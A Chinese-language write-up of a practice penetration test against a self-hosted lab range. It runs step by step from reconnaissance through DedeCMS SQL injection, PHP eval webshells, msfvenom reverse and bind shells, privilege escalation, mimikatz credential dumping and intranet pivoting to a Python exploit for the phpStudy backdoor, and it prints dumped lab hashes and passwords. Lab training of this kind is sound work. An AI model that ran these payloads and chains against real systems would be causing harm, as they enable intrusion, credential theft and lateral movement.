打靶日记(一) 完整的渗透测试实例

打靶日记(一) 完整的渗透测试实例

声明:此系列文章系个人记录打靶过程的文章,靶场为暗月师傅的靶场。这是第一篇。

前言

开一个新的分类“打靶日记(moon)”,这一个系列记录了我的打靶的日常,这系列大概是打了六七个暗月师傅的靶场。于是乎,我一一下载到本地进行搭建和攻击,包含了外部打点、权限提升、权限维持、内网横向渗透、域渗透等内容。这个是第一个靶场。

1.靶场介绍

本靶场存在四个 flag 把下载到的虚拟机环境导入到虚拟机,本靶场需要把网络环境配置好

1.1本靶场示意图

image

 

2. 信息收集

2.1.主机发现

1
netdiscover -i eth0 -r 192.168.1.0/24

image

2.2masscan 端口扫描

(使用发包率10000的时候没扫出来)

1
masscan -p 0-65535 192.168.1.134 --rate=1000

image

2.3Nmap进行端口信息探测

1
nmap -sC -A 192.168.1.134 -p 135,49155,6588,21,3389,80,999,53,49154 -oA cc123-port

image

 

2.4网站信息

1
http://192.168.1.134:999/

image

1
http://192.168.1.134/

image

1
http://192.168.1.134:6588/

image

3.本地设置

3.1.绑定本地 hosts

1
C:\Windows\System32\drivers\etc\hosts

image

3.2设置本地网关

image

1
2
vim /etc/resolv.conf
nameserver 192.168.1.134

image

 

4.收集子域名

4.1wfuzz穷举子域名

1
wfuzz -w /usr/share/amass/wordlists/subdomains-top1mil-5000.txt -u cc123.com -H "Host:FUZZ.cc123.com" --hw 53

image

显示没有路由

在靶机配置DNS

image

 

修改hoset

1
vim /etc/resolv.conf

image

 

 

1
wfuzz -w /usr/share/amass/wordlists/subdomains-top1mil-5000.txt -u cc123.com -H "Host:FUZZ.cc123.com" --hw 53

过滤掉53

image

5.子域名信息


Dedecms

new.cc123.com

kesionEDU

www. cc123.com

net

ww2 cc123.com

6.漏洞测试

6.1dedecms安全检测

查看版本号

1
new.cc123.com/data/admin/ver.txt

image

会员注册处有注入的漏洞

http://new.cc123.com/member/

注册会员

image

添加分类

image

拿到cookie

image

放到脚本的cookie记事本中

image

执行脚本,指定网站

1
python2 .\Dedecms_20150618_member_sqli.py http://new.cc123.com

image

 

1
密文 812df726be884ddcfc41 解密:admin7788

在网站解密

 http://somd5.com/

image

得到密码之后,来到后台

1
http://new.cc123.com/dede/login.php?gotopage=%2Fdede%2F

输入账号密码之后登录:

image

在文件管理处上传webshell

image

 

添加一句话木马语句到图片中

1
<?php @eval($_POST['garck']);?>

image

上传文件

抓包修改后缀

 

image

1
http://new.cc123.com/a/ma.php

验证

image

下载中国蚁剑加载器

1
https://github.com/AntSwordProject/AntSword-Loader

初始化的时候未检测代码的时候会进行自动下载

image

连接一句话木马

image

 

7.提取服务器

在终端执行命令失败

image

发现.net的功能

image

上传.net的大马

访问地址:http://new.cc123.com/a/ASPXSpy2014.aspx

密码是:admin

image

可以执行cmd命令

image

7.1metasploit windows提权

生成msf的木马

1
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.133 lport=55555 -f exe >garck.exe

image

上传至于服务器,发现上传的时候被拒绝

image

7.2扫描可写目录

上传扫描 目录可写 的脚本

image

开始检测

image

发现以下的目录是可写的

image

将msf生成的木马上传至于:

1
c:\windows\debug\WIA\

image

开启msf的监听

打开msf控制端

Msfconsole

image

1
2
3
4
5
6
7
8
9
10
选择handler模块
use exploit/multi/handler
设置连接的类型为windows
set payload windows/meterpreter/reverse_tcp
设置监听的主机IP为自己
set lhost 192.168.1.133
设置监听的端口为55555
set lport 55555
执行刚才上传的木马
c:\windows\debug\WIA\garck.exe

image

7.3得到meterpreter

发现成功上线了

image

查看当前权限,发现为比较普通的iis用户权限

image

 7.4检测能提权的漏洞

开始检测提权

使用模块查询是否可以提权

Background

检测可以用来提权的模块

1
2
use post/multi/recon/local_exploit_suggester
set session 2

image

7.5ms16_075提权

开始提权

1
2
3
4
使用use exploit/windows/local/ms16_075_reflection_juicy
set session 2
run
getuid

image

9.测试ww2.cc123.com安全

9.1gobuster目录扫描

1
gobuster dir -u http://ww2.cc123.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x "aspx,html" -o ~/cc123/cc123.log

扫描网站目录

image

http://ww2.cc123.com/admin 管理后台

http://ww2.cc123.com/editor 编辑器

经测试后台的密码是 cc123

9.2SQL注入拿下mssql服务器

登录:http://ww2.cc123.com/admin/Login.aspx

admin cc123

cc123 qweasd123

image

抓取数据包

image

保存到22.txt中

测试注入

1
sqlmap -r 22.txt --dbms mssql -v 1 --batch

image

列出库

1
sqlmap -r 22.txt --dbms mssql -v 1 --dbs

image

获取 **mssql shell **

1
sqlmap -r 22.txt --dbms mssql -v 1 --os-shell

image

10.多重网段内网渗透

10.1web服务器信息收集

10.1.1网卡信息

Ifconfig

image

查到两个IP:

10.10.10.128

192.168.1.134

 

10.1.2查看路由信息

1
run get_local_subnets

image

1
2
Local subnet: 10.10.10.0/255.255.255.0
Local subnet: 192.168.1.0/255.255.255.0

10.1.3哈希的获取

1
run hashdump

image

1
2
3
4
5
6
7
8
9
Administrator:500:aad3b435b51404eeaad3b435b51404ee:1c933df09b600efabee0791aaccc43f2:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
MySQL_HWS:1001:aad3b435b51404eeaad3b435b51404ee:6a75a75e4cfd3cf00faf743e17e90a53:::
PhpMyAdmin_HWS:1002:aad3b435b51404eeaad3b435b51404ee:a14b615c584d6b043f42f1cfab9779cd:::
huweishen542147:1004:aad3b435b51404eeaad3b435b51404ee:c76eea2615348c5228f7027d3ccab02d:::
cc123:1005:aad3b435b51404eeaad3b435b51404ee:afdeb425b4a55982deb4e80fa3387576:::
newcc123:1007:aad3b435b51404eeaad3b435b51404ee:97824315153b4dd665d6c688f446ebf1:::
ww2cc123:1008:aad3b435b51404eeaad3b435b51404ee:adadf2dd832421c26a96705fd09a32bd:::

进程迁移到1568

1
migrate 1568

image

 

 

10.1.4使用mimikatz获取明文

1
2
3
4
加载mimikatz
load mimikatz
获取hash
mimikatz_command -f samdump::hashes

image

1
2
搜索密码
mimikatz_command -f sekurlsa::searchPasswords

image

整理结果

使用wdigest 或者tspkg

image

10.1.5添加路由进行内网渗透

1
2
(绑定路由)
run autoroute -s 10.10.10.0/24

image

1
2
查看绑定结果
run autoroute -p

image

Background

10.1.6启动 socks 代理

1
2
3
4
use auxiliary/server/socks_proxy
set srvport 2222
options
run

image

10.1.7修改 proxychains 配置文件

配置修改配置文件

1
2
vim /etc/proxychains4.conf
socks4 192.168.1.133 2222

image

10.1.8使用proxychains 调用nmap扫描

1
proxychains nmap -sT -Pn 10.10.10.145

image

10.2数据库服务器信息收集

10.2.1生成正向连接载荷

1
msfvenom -p windows/meterpreter/bind_tcp LPORT=13777 -f exe > bind.exe

image

连接数据库:

1
server=WIN-JJU7KU45PN7;database=grcms_data;uid=sa;pwd=!@#a123..;database=master

image

10.2.2mssql上传文件

上传生成的攻击载荷

(数据库的IP一定要对)

image

10.2.3执行文件并且获取session

执行

1
exec master.dbo.xp_cmdshell 'C:/bind.exe'

image

开始监听

1
2
3
4
use exploit/multi/handler 
set payload windows/meterpreter/bind_tcp
set RHOST 10.10.10.145
set lport 13777

image

数据库服务器信息收集

网卡端口信息

os-shell 执行 netstat -ano 查看端口信息

image

网卡信息

image

查看进程ps

image

10.2.4进程迁移

1
migrate 468

image

10.2.5加载mimikatz获取明文

1
load mimikatz

image

image

1
creds_wdigest

image

10.3渗透目标服务器

10.3.1添加路由

查看路由信息

1
run get_local_subnets

image

绑定IP

1
run autoroute -s 10.10.1.0/24

image

1
查看绑定路由  run autoroute -p

image

10.3.2phpstudy后门测试

image

在物理机将python添加到代理中

10.3.3python编写phpstudy后门exp

1
2
3
4
5
6
7
8
9
10
11
12
13
#conding:utf-8

import requests
import sys
import base64
shell = "system('"+sys.argv[1]+"');"
shell_base64 = base64.b64encode(shell.encode('utf-8'))
header={'Accept-charset':shell_base64,'Accept-Encoding':'gzip,deflate'}
def exploit(url):
html = requests.get(url=url,headers=header).text
return html
url = "http://10.10.1.129/"
print(exploit(url))

然后执行脚本尝试查看IP情况

1
python phpstudy.py ipconfig

image

10.3.4尝试写入shell

python phpstudy.py "echo ^<?php @eval($_POST[\"shell\"])?^>>c:\phpstudy\WWW\shell.php"

image

将中国菜刀添加到代理中

image

10.3.5连接后门

image

查看权限

image

10.3.6获取目标机子的session

将正向连接的木马文件复制到物理机,尝试通过中国菜刀进行上传与运行

image

1
2
3
4
use exploit/multi/handler 
set payload windows/meterpreter/bind_tcp
set RHOST 10.10.10.129
set lport 13777

image

1
全部的sessions

image

4个flages

一、

1
2
3
4
c:\HwsHostMaster\wwwroot\ww2cc123_55m39g\web\upimg\flag.txt
eeac7f42e6fe8b0bf424734bb7d3c05d
c:\users\Administrator\flag2.txt
a81c3d94aa192d3f87ed9f2fffec04fc

二、

1
2
C:\users\Administrator\root.txt.txt
6d4db5ff0c117864a02827bad3c361b9

三、

1
2
C:\users\Administrator\root.txt
63a9f0ea7bb98050796b649e85481845